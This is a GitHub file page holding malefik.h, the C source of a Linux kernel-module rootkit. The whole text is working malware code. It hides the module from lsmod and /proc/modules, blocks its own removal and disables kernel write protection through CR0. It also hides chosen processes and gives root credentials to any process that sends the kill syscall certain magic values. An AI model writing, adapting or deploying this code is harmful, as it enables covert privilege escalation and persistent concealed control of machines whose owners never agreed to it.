-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmalefik.h
281 lines (243 loc) · 5.27 KB
/
malefik.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
/*
* demonstrating that ~ Kernel is life
*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/kprobes.h>
#include <linux/security.h>
#include <linux/list.h>
#include <linux/cred.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/uaccess.h>
#include <linux/ioctl.h>
#include <linux/syscalls.h>
#include <linux/slab.h>
#include <linux/fdtable.h>
#include <linux/proc_ns.h>
#include <linux/dirent.h>
#include <asm/ptrace.h>
#define PF_INVISIBLE 0x10000000
#define HAXX 1337
#define PROT 2600
#define UNPR 2601
#define PROT_MEM 2602
#define UNPR_MEM 2603
#define HIDE_PRO 2604
#define GET_ROOT 2605
#define DEBUG 1
static struct list_head *prev_module_in_proc_modules_lsmod;
int is_hidden_proc = 0;
int is_hidden_sys = 0;
unsigned long cr0;
/* HIDE/SHOW ROOTKIT */
static void hide_rootkit(void)
{
if (is_hidden_proc)
{
#if DEBUG
{
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ Revealing to `lsmod` cmd, in `/proc/modules` file path and `/proc/kallsyms` file path\n");
}
#endif
list_add(&THIS_MODULE->list, prev_module_in_proc_modules_lsmod);
is_hidden_proc = 0;
} else {
prev_module_in_proc_modules_lsmod = THIS_MODULE->list.prev;
#if DEBUG
{
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ Hiding from `lsmod` cmd, `/proc/modules` file path and `/proc/kallsyms` file path \n");
}
#endif
list_del(&THIS_MODULE->list);
is_hidden_proc = 1;
}
return;
}
/* PROTECT ROOTKIT (FROM DELETING) */
static int is_protected = 0;
static void protect_rootkit(void)
{
if (is_protected == 0)
{
try_module_get(THIS_MODULE);
is_protected = 1;
#if DEBUG
{
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ PROTECTED\n");
}
#endif
}
}
/* UNPROTECT ROOTKIT (FROM DELETING) */
static void unprotect_rootkit(void)
{
if (is_protected == 1)
{
module_put(THIS_MODULE);
is_protected = 0;
#if DEBUG
{
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ UNPROTECTED\n");
}
#endif
}
}
/* FORCE CR0 */
static inline void write_cr0_forced(unsigned long val)
{
unsigned long __force_order;
asm volatile("mov %0, %%cr0" : "+r"(val), "+m"(__force_order));
}
/* PROTECT MEMORY */
static inline void protect_memory(void)
{
#if DEBUG
{
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ PROTECT MEMORY\n");
}
#endif
write_cr0_forced(cr0);
}
/* UNPROTECT MEMORY */
static inline void unprotect_memory(void)
{
#if DEBUG
{
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ UNPROTECT MEMORY\n");
}
#endif
write_cr0_forced(cr0 & ~0x00010000);
}
/* FIND TASKS */
struct task_struct *find_task(pid_t pid)
{
struct task_struct *target_process = current;
for_each_process(target_process)
{
if (target_process->pid == pid)
{
return target_process;
}
}
return NULL;
}
/* IS INVISIBLE */
static int is_invisible(pid_t pid)
{
struct task_struct *task;
if (!pid)
{
return 0;
}
task = find_task(pid);
if (!task)
{
return 0;
}
if (task->flags & PF_INVISIBLE)
{
return 1;
}
return 0;
}
/* SET ROOT */
static void set_root(void)
{
struct cred *root = prepare_creds();
if (root == NULL)
{
return;
}
root->uid.val = root->gid.val = 0;
root->euid.val = root->egid.val = 0;
root->suid.val = root->sgid.val = 0;
root->fsuid.val = root->fsgid.val = 0;
commit_creds(root);
}
/* HACKED HANDLER */
static int hacked_handler(struct kprobe *p, struct pt_regs *regs)
{
unsigned long syscall_num = regs->orig_ax;
struct task_struct *current_task = current;
int rdi = (int) regs->di;
int rsi = (int) regs->si;
int rdx = (int) regs->dx;
int pid = (int) current_task->pid;
if (rsi == HAXX)
{
#if DEBUG
{
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ CALLED pid: %d.\n", pid);
}
#endif
}
else if (rsi == PROT)
{
protect_rootkit();
hide_rootkit();
#if DEBUG
{
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ Rootkit protection enabled!!!!\n");
}
#endif
}
else if (rsi == UNPR)
{
unprotect_rootkit();
hide_rootkit();
#if DEBUG
{
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ Rootkit protection disabled!!!!\n");
}
#endif
}
else if (rsi == PROT_MEM)
{
protect_memory();
#if DEBUG
{
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ Memory protection enabled!!!!\n");
}
#endif
}
else if (rsi == UNPR_MEM)
{
unprotect_memory();
#if DEBUG
{
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ Memory protection disabled!!!!\n");
}
#endif
}
else if (rsi == HIDE_PRO)
{
struct task_struct *task;
if ((task = find_task(pid)) == NULL)
return -ESRCH;
task->flags = task->flags ^ PF_INVISIBLE;
#if DEBUG
{
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ Hide/unhide process %d\n", pid);
}
#endif
return 0;
}
else if (rsi == GET_ROOT)
{
set_root();
#if DEBUG
{
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ Offering you, root.\n");
}
#endif
}
return 0;
}
/* KPROBE */
static struct kprobe syscall_catch_kprobe = {
.symbol_name = "__x64_sys_kill",
.pre_handler = hacked_handler,
};